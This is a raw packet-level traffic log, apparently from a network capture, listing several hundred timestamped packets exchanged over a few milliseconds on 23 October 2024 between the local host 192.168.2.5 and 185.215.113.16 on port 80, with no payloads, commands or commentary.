Oct 23, 2024 15:48:23.408983946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408987999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409017086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409029007 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409049988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409054041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409081936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409121990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409157038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409158945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409190893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409193993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409224033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409255981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409288883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409292936 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409322977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409332037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409356117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409389019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409420967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409431934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409456015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409459114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409490108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409523964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409537077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409557104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409589052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409593105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409622908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409656048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409687996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409691095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409720898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409724951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409754992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409786940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409818888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409825087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409852982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409858942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409887075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409921885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409955025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409960032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.409987926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.409997940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.410022020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410054922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410087109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410093069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.410120964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410124063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.410154104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410190105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.410227060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.410783052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.437133074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.437175035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.437186956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.437211990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.437263012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.504920959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.504990101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505043030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505075932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505088091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505111933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505141020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505141973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505179882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505182028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505213976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505247116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505280018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505284071 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505316973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505316973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505351067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505383015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505415916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505420923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505455017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505456924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505507946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505556107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505557060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505589962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505623102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505626917 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505686045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505738020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505776882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505786896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505835056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505842924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505868912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505911112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505944967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.505949974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.505995035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506000042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506027937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506061077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506064892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506093979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506127119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506170988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506175995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506210089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506242037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506249905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506273985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506278992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506309986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506359100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506378889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506412029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506459951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506499052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506509066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506546974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506556988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506591082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506639004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506675959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506689072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506733894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506745100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506778002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506825924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506859064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506865025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506891966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506895065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506927013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506963015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.506969929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.506995916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507024050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507035971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507071972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507119894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507153034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507159948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507184982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507190943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507235050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507267952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507299900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507309914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507339954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507375002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507405043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507437944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507446051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507488012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507540941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507574081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507581949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507608891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507611990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507642984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507677078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507709026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507714987 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507741928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507745981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507775068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507807016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507812023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507841110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507878065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507915974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507927895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.507962942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.507977009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508011103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508042097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508080006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508099079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508131027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508135080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508166075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508212090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508249044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508249044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508277893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508282900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508327961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508373976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508378029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508410931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508460045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508491993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508517027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508528948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508539915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508569002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508600950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508606911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508632898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508681059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508714914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508728027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508757114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508775949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508802891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508851051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508874893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508882999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508919001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.508932114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.508984089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509016037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509021044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509048939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509085894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509098053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509146929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509197950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509243965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509246111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509279013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509280920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509313107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509349108 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509361982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509390116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509435892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509473085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509484053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509516954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509521008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509550095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509597063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509629965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509633064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509663105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509666920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509696007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509748936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509782076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509785891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509814978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509818077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509848118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509881973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509913921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.509917974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509949923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.509962082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510009050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510040998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510077953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510090113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510127068 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510138988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510171890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510205030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510236979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510241032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510272026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510284901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510324955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510373116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510405064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510409117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510440111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510442019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510474920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510503054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510538101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510550976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510586977 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510598898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510647058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510694027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510725975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510730982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510759115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510762930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510792971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510840893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510874033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510876894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510907888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510910034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.510941029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.510974884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511006117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511010885 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511039972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511043072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511086941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511121988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511168957 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511169910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511210918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511219025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511251926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511285067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511297941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511333942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511370897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511385918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511435032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511467934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511476040 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511514902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511548996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511553049 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511578083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511631966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511666059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511697054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511708021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511708021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511733055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511759996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511770964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511794090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511826992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511857033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511864901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511889935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511892080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.511923075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511955023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511986017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.511991024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512020111 CEST	80	49713	185.215.113.16	192.168.2.5
